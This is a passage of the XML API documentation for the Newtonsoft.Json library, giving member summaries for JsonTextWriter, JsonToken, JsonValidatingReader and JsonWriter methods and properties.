whatever is in the buffer to the underlying <see cref=\"T:System.IO.TextWriter\"/> and also flushes the underlying <see cref=\"T:System.IO.TextWriter\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.Close\">\n            <summary>\n            Closes this writer.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\"/> is set to <c>true</c>, the underlying <see cref=\"T:System.IO.TextWriter\"/> is also closed.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.AutoCompleteOnClose\"/> is set to <c>true</c>, the JSON is auto-completed.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteStartObject\">\n            <summary>\n            Writes the beginning of a JSON object.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteStartArray\">\n            <summary>\n            Writes the beginning of a JSON array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteStartConstructor(System.String)\">\n            <summary>\n            Writes the start of a constructor with the given name.\n            </summary>\n            <param name=\"name\">The name of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteEnd(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Writes the specified end token.\n            </summary>\n            <param name=\"token\">The end token to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WritePropertyName(System.String)\">\n            <summary>\n            Writes the property name of a name/value pair on a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WritePropertyName(System.String,System.Boolean)\">\n            <summary>\n            Writes the property name of a name/value pair on a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n            <param name=\"escape\">A flag to indicate whether the text should be escaped when it is written as a JSON property name.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteIndent\">\n            <summary>\n            Writes indent characters.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueDelimiter\">\n            <summary>\n            Writes the JSON value delimiter.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteIndentSpace\">\n            <summary>\n            Writes an indent space.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Object)\">\n            <summary>\n            Writes a <see cref=\"T:System.Object\"/> value.\n            An error will raised if the value cannot be written as a single JSON token.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteNull\">\n            <summary>\n            Writes a null value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteUndefined\">\n            <summary>\n            Writes an undefined value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteRaw(System.String)\">\n            <summary>\n            Writes raw JSON.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.String)\">\n            <summary>\n            Writes a <see cref=\"T:System.String\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.String\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Int32)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.UInt32)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Int64)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.UInt64)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Single)\">\n            <summary>\n            Writes a <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Nullable{System.Single})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Double)\">\n            <summary>\n            Writes a <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Nullable{System.Double})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Boolean)\">\n            <summary>\n            Writes a <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Boolean\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Int16)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.UInt16)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Char)\">\n            <summary>\n            Writes a <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Char\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Byte)\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.SByte)\">\n            <summary>\n            Writes a <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.SByte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Decimal)\">\n            <summary>\n            Writes a <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Decimal\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.DateTime)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTime\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Byte[])\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/>[] value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/>[] value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.DateTimeOffset)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Guid)\">\n            <summary>\n            Writes a <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Guid\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.TimeSpan)\">\n            <summary>\n            Writes a <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Uri)\">\n            <summary>\n            Writes a <see cref=\"T:System.Uri\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Uri\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteComment(System.String)\">\n            <summary>\n            Writes a comment <c>/*...*/</c> containing the specified text. \n            </summary>\n            <param name=\"text\">Text to place inside the comment.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteWhitespace(System.String)\">\n            <summary>\n            Writes the given white space.\n            </summary>\n            <param name=\"ws\">The string of white space characters.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonToken\">\n            <summary>\n            Specifies the type of JSON token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.None\">\n            <summary>\n            This is returned by the <see cref=\"T:Newtonsoft.Json.JsonReader\"/> if a read method has not been called.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.StartObject\">\n            <summary>\n            An object start token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.StartArray\">\n            <summary>\n            An array start token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.StartConstructor\">\n            <summary>\n            A constructor start token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.PropertyName\">\n            <summary>\n            An object property name.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Comment\">\n            <summary>\n            A comment.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Raw\">\n            <summary>\n            Raw JSON.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Integer\">\n            <summary>\n            An integer.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Float\">\n            <summary>\n            A float.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.String\">\n            <summary>\n            A string.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Boolean\">\n            <summary>\n            A boolean.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Null\">\n            <summary>\n            A null token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Undefined\">\n            <summary>\n            An undefined token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.EndObject\">\n            <summary>\n            An object end token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.EndArray\">\n            <summary>\n            An array end token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.EndConstructor\">\n            <summary>\n            A constructor end token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Date\">\n            <summary>\n            A Date.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Bytes\">\n            <summary>\n            Byte data.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonValidatingReader\">\n            <summary>\n            <para>\n            Represents a reader that provides <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> validation.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"E:Newtonsoft.Json.JsonValidatingReader.ValidationEventHandler\">\n            <summary>\n            Sets an event handler for receiving schema validation errors.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.Value\">\n            <summary>\n            Gets the text value of the current JSON token.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.Depth\">\n            <summary>\n            Gets the depth of the current token in the JSON document.\n            </summary>\n            <value>The depth of the current token in the JSON document.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.Path\">\n            <summary>\n            Gets the path of the current JSON token. \n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.QuoteChar\">\n            <summary>\n            Gets the quotation mark character used to enclose the value of a string.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.TokenType\">\n            <summary>\n            Gets the type of the current JSON token.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.ValueType\">\n            <summary>\n            Gets the .NET type for the current JSON token.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.#ctor(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonValidatingReader\"/> class that\n            validates the content returned from the given <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from while validating.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.Schema\">\n            <summary>\n            Gets or sets the schema.\n            </summary>\n            <value>The schema.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.Reader\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.JsonReader\"/> used to construct this <see cref=\"T:Newtonsoft.Json.JsonValidatingReader\"/>.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> specified in the constructor.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.Close\">\n            <summary>\n            Changes the reader's state to <see cref=\"F:Newtonsoft.Json.JsonReader.State.Closed\"/>.\n            If <see cref=\"P:Newtonsoft.Json.JsonReader.CloseInput\"/> is set to <c>true</c>, the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> is also closed.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsInt32\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsBytes\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Byte\"/>[].\n            </summary>\n            <returns>\n            A <see cref=\"T:System.Byte\"/>[] or <c>null</c> if the next JSON token is null.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsDecimal\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsDouble\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsBoolean\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsString\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.String\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.String\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsDateTime\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsDateTimeOffset\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.Read\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <returns>\n            <c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonWriter\">\n            <summary>\n            Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\">\n            <summary>\n            Gets or sets a value indicating whether the destination should be closed when this writer is closed.\n            </summary>\n            <value>\n            <c>true</c> to close the destination when this writer is closed; otherwise <c>false</c>. The default is <c>true</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.AutoCompleteOnClose\">\n            <summary>\n            Gets or sets a value indicating whether the JSON should be auto-completed when this writer is closed.\n            </summary>\n            <value>\n            <c>true</c> to auto-complete the JSON when this writer is closed; otherwise <c>false</c>. The default is <c>true</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.Top\">\n            <summary>\n            Gets the top.\n            </summary>\n            <value>The top.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.WriteState\">\n            <summary>\n            Gets the state of the writer.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.Path\">\n            <summary>\n            Gets the path of the writer. \n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.Formatting\">\n            <summary>\n            Gets or sets a value indicating how JSON text output should be formatted.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.DateFormatHandling\">\n            <summary>\n            Gets or sets how dates are written to JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.DateTimeZoneHandling\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> time zones are handled when writing JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.StringEscapeHandling\">\n            <summary>\n            Gets or sets how strings are escaped when writing JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.FloatFormatHandling\">\n            <summary>\n            Gets or sets how special floating point numbers, e.g. <see cref=\"F:System.Double.NaN\"/>,\n            <see cref=\"F:System.Double.PositiveInfinity\"/> and <see cref=\"F:System.Double.NegativeInfinity\"/>,\n            are written to JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.DateFormatString\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> and <see cref=\"T:System.DateTimeOffset\"/> values are formatted when writing JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.Culture\">\n            <summary>\n            Gets or sets the culture used when writing JSON. Defaults to <see cref=\"P:System.Globalization.CultureInfo.InvariantCulture\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.Flush\">\n            <summary>\n            Flushes whatever is in the buffer to the destination and also flushes the destination.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.Close\">\n            <summary>\n            Closes this writer.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\"/> is set to <c>true</c>, the destination is also closed.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.AutoCompleteOnClose\"/> is set to <c>true</c>, the JSON is auto-completed.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteStartObject\">\n            <summary>\n            Writes the beginning of a JSON object.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndObject\">\n            <summary>\n            Writes the end of a JSON object.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteStartArray\">\n            <summary>\n            Writes the beginning of a JSON array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndArray\">\n            <summary>\n            Writes the end of an array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteStartConstructor(System.String)\">\n            <summary>\n            Writes the start of a constructor with the given name.\n            </summary>\n            <param name=\"name\">The name of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndConstructor\">\n            <summary>\n            Writes the end constructor.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WritePropertyName(System.String)\">\n            <summary>\n            Writes the property name of a name/value pair of a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WritePropertyName(System.String,System.Boolean)\">\n            <summary>\n            Writes the property name of a name/value pair of a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n            <param name=\"escape\">A flag to indicate whether the text should be escaped when it is written as a JSON property name.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEnd\">\n            <summary>\n            Writes the end of the current JSON object or array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteToken(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Writes the current <see cref=\"T:Newtonsoft.Json.JsonReader\"/> token and its children.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read the token from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteToken(Newtonsoft.Json.JsonReader,System.Boolean)\">\n            <summary>\n            Writes the current <see cref=\"T:Newtonsoft.Json.JsonReader\"/> token.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read the token from.</param>\n            <param name=\"writeChildren\">A flag indicating whether the current token's children should be written.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteToken(Newtonsoft.Json.JsonToken,System.Object)\">\n            <summary>\n            Writes the <see cref=\"T:Newtonsoft.Json.JsonToken\"/> token and its value.\n            </summary>\n            <param name=\"token\">The <see cref=\"T:Newtonsoft.Json.JsonToken\"/> to write.</param>\n            <param name=\"value\">\n            The value to write.\n            A value is only required for tokens that have an associated value, e.g. the <see cref=\"T:System.String\"/> property name for <see cref=\"F:Newtonsoft.Json.JsonToken.PropertyName\"/>.\n            <c>null</c> can be passed to the method for tokens that don't have a value, e.g. <see cref=\"F:Newtonsoft.Json.JsonToken.StartObject\"/>.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteToken(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Writes the <see cref=\"T:Newtonsoft.Json.JsonToken\"/> token.\n            </summary>\n            <param name=\"token\">The <see cref=\"T:Newtonsoft.Json.JsonToken\"/> to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEnd(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Writes the specified end token.\n            </summary>\n            <param name=\"token\">The end token to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteIndent\">\n            <summary>\n            Writes indent characters.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueDelimiter\">\n            <summary>\n            Writes the JSON value delimiter.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteIndentSpace\">\n            <summary>\n            Writes an indent space.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteNull\">\n            <summary>\n            Writes a null value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteUndefined\">\n            <summary>\n            Writes an undefined value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteRaw(System.String)\">\n            <summary>\n            Writes raw JSON without changing the writer's state.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteRawValue(System.String)\">\n            <summary>\n            Writes raw JSON where a value is expected and updates the writer's state.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.String)\">\n            <summary>\n            Writes a <see cref=\"T:System.String\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.String\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Int32)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.UInt32)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Int64)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.UInt64)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Single)\">\n            <summary>\n            Writes a <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Double)\">\n            <summary>\n            Writes a <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Boolean)\">\n            <summary>\n            Writes a <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Boolean\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Int16)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.UInt16)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Char)\">\n            <summary>\n            Writes a <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Char\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Byte)\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.SByte)\">\n            <summary>\n            Writes a <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.SByte\"/> value to write.</param>\n        </member>\n        <member 